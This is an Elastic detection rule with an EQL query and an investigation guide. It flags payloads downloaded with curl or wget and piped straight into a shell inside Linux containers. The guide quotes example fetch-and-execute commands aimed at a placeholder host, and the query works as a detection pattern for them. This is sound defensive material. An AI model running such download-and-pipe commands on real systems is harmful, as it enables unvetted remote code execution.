Payload Execution via Shell Pipe Detected by Defend for Containers
ELASTIC detection rule by Elastic · Elastic License v2
This rule detects when a payload is downloaded and piped to a shell inside a running container. This
could indicate a threat actor downloaded a payload and executed it using a shell without the payload
being stored on the filesystem.
[metadata]
creation_date = "2026/02/10"
integration = ["cloud_defend"]
maturity = "production"
min_stack_comments = "Defend for Containers integration was re-introduced in 9.3.0"
min_stack_version = "9.3.0"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
This rule detects when a payload is downloaded and piped to a shell inside a running container. This
could indicate a threat actor downloaded a payload and executed it using a shell without the payload
being stored on the filesystem.
"""
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Payload Execution via Shell Pipe Detected by Defend for Containers"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Payload Execution via Shell Pipe Detected by Defend for Containers
This rule detects an interactive session in a running Linux container where a downloader process is immediately followed by a shell execution, consistent with fetching code and executing it without writing a file. This matters because piping remote content directly into a shell enables fast, stealthy execution and can bypass filesystem-based controls and forensics. Attackers commonly run patterns like `curl http://host/payload.sh | sh` or `wget -qO- http://host/bootstrap | bash` during initial foothold or lateral movement inside containers.
### Possible investigation steps
- Capture the full interactive command line and session context (TTY/user, working directory, parent chain) to determine whether the shell received stdin from the downloader and what was executed.
- Identify the remote URL/host contacted and pivot on outbound network telemetry (DNS/HTTP/SNI/IP) to confirm download success, reputation, and whether the endpoint has been used by other workloads.
- Enumerate follow-on processes spawned by the shell within the next few minutes (e.g., package installs, compilers, crypto-miners, persistence tooling) to assess impact and scope of execution.
- Check for container breakout or host interaction indicators by reviewing new mounts, access to the Docker/CRI socket, privileged namespace usage, and any writes to host paths from within the container.
- Preserve volatile artifacts by exporting the container filesystem and collecting in-memory/runtime evidence (environment variables, loaded binaries, cron/systemd/user profiles) before the workload is recycled.
### False positive analysis
- An administrator or developer may use an interactive exec session to troubleshoot or apply a quick remediation by running `curl`/`wget` piped into `sh` (to avoid saving a temporary file), so validate the interactive user/TTY, parent process chain, and whether the contacted URL/host is an expected internal source.
- During manual container bootstrap or environment setup, an operator may fetch a short initialization or configuration script via `curl`/`wget` and immediately invoke a shell to run it, so confirm it aligns with recent deployment/change activity and that follow-on process, network, and filesystem behavior matches the intended setup.
### Response and remediation
- Immediately isolate the affected container/pod by blocking egress and terminating any active `kubectl exec`/interactive sessions that launched `curl`/`wget` and then a shell to stop further command execution.
- Preserve evidence before restart by snapshotting the container image/filesystem and collecting running process trees, open network connections, environment variables, and shell history/output associated with the piped execution.
- Eradicate by deleting and redeploying the workload from a known-good image, rotating any secrets and tokens available to the container, and removing any unauthorized binaries, cron jobs, startup scripts, or modified entrypoints created by the shell session.
- Escalate to incident response immediately if the downloaded content contacted unknown/external infrastructure, spawned post-exploitation tooling (e.g., miners, scanners, reverse shells), or showed signs of host interaction such as access to the container runtime socket or host-mounted paths.
- Harden by restricting interactive exec access (RBAC/MFA/just-in-time), enforcing signed/approved images, applying network policies to limit outbound access, and adding runtime controls to block `curl|sh`/`wget|sh` patterns or require allowlisted internal artifact sources."""
references = [
"https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware",
]
risk_score = 47
rule_id = "a750bbcc-863f-41ef-9924-fd8224e23694"
severity = "medium"
tags = [
"Data Source: Elastic Defend for Containers",
"Domain: Container",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Execution",
"Tactic: Command and Control",
"Tactic: Defense Evasion",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
sequence by process.parent.entity_id, container.id with maxspan=1s
[process where event.type == "start" and event.action == "exec" and process.name in ("curl", "wget")]
[process where event.action in ("exec", "end") and
/*
If the flow is executed from a parent script, the event action will be "exec".
If the flow is executed manually, the event action will be "end".
*/
process.name like (
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
"python*", "perl*", "ruby*", "lua*", "php*"
) and
process.args like (
"-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
"bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
"/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
"/bin/zsh", "/bin/ksh", "/bin/fish",
"/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
"/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
"-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
"*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
) and
not process.args in (
"which", "/bin/which", "/usr/bin/which", "/usr/local/bin/which",
"man", "/bin/man", "/usr/bin/man", "/usr/local/bin/man",
"chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod",
"chown", "/bin/chown", "/usr/bin/chown", "/usr/local/bin/chown"
)]
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"
[[rule.threat.technique.subtechnique]]
id = "T1059.006"
name = "Python"
reference = "https://attack.mitre.org/techniques/T1059/006/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"
[[rule.threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"
[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"